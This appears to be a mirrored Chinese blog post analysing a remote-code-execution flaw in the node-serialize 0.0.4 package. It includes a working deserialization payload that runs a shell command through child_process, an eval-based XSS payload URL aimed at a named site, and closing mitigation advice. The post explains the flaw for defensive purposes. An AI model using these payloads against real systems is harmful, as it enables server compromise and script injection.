56

Node.js RCE

 5 years ago
source link: http://x3fwy.bitcron.com/post/node.js_deserialization_rce?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

最近关注到一些Node.js的漏洞,比较感兴趣的一个反序列化导致远程代码执行的漏洞,个人开发Node.js也有不短时间,决定尝试复现分析它并给出一些建议,遂有此文。

漏洞复现

我是用 0.0.4 版本的 node-serialize 进行复现,使用Node.js 自带的 child_process 模块的 exec() 函数构造命令。 child_process.exec() 可以衍生一个shell并在shell中执行命令。

const child_process = require('child_process');
child_process.exec('ls /', function(error, stdout, stderr) { console.log(stdout) });

运行上面代码可以得到如下结果:

UvUBBzA.png!web

确定命令可以执行后,构造一个对象,将这个函数放入对象,使用 node-serialize 序列化这个对象。

const serialize = require('node-serialize');
const y = {
  rce : function(){
  require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
  }
 }
console.log("Serialized: \n" + serialize.serialize(y));

运行上面代码得到如下结果:

jaQzamQ.png!web

但这只是一个包含可执行函数的对象,并不能执行。尝试将序列化的函数加上括号使其自执行,然后再反序列化对象。

const serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

运行代码可见执行成功:

EzYZN3Q.png!web

漏洞分析

问题在 node-serialize/lib/serialize.js 中第75行:

IzeeeyJ.png!web

unserialize 函数直接使用 eval() 反序列化JavaScript对象,在JavaScript中, eval() 可以计算一个表达式并且执行它。因此在没有任何保护的情况下,传入的序列化函数对象就被执行了。

Eval is evil

在这里想针对 eval() 多说几句,在研究XSS漏洞的时候,一定见过如下例子:

var getarg = function(){
    var url = window.location.href; 
    var allargs = url.split("?")[1];
    if (allargs!=null && allargs.indexOf("=")>0)
    {
        var args = allargs.split("&"); 
        for(var i=0; i<args.length; i++)
        {
            var arg = args[i].split("="); 
            eval('this.'+arg[0]+'="'+arg[1]+'";');
        }
    }
};

我们可以构造这样的payload形成XSS:

http://kf.qq.com/search_app.shtml?key=aaa";alert(1);//

那么在Node.js,其实什么都没有变。

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。JavaScript中的很多函数在Node.js中同样适用。那么Node.js又是一个运行在服务端的JavaScript,在这样的环境中使用 eval() 就会带来更严重的问题。

同样的问题也会出现在 SetTimeout()SetInterval() 他们的第一个参数可以是字符串也可以是函数。当使用字符串传入恶意内容,到了相应的时间也可以被执行。幸运的是,在Node.js中第一个参数必须是函数。

如何避免

如果你尝试复现这个漏洞,在执行 npm install node-serialize 时会出现这样的提示:

iqyMzuz.png!web

按照提示执行命令 npm audit 可以得到如下详细信息:

RbUNBjZ.png!web

因此在我们使用 npm install 的时候留意一下提示信息是很有必要的。

搜索npm网站,我发现了另一个1000+ star的序列化包,这个包直接没有提供反序列化方法,而是发现了这么一段文字:

B32iInY.png!web

好吧,它成功的把隐患留给了你。那么必须使用 eval() 的时候需要注意什么呢?

  1. 不要将用户输入的不可信数据直接传入其中序列化

这样的数据包括但不限于用户表单、URL参数、Cookies、Header等。

  1. 使用 VM 执行

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK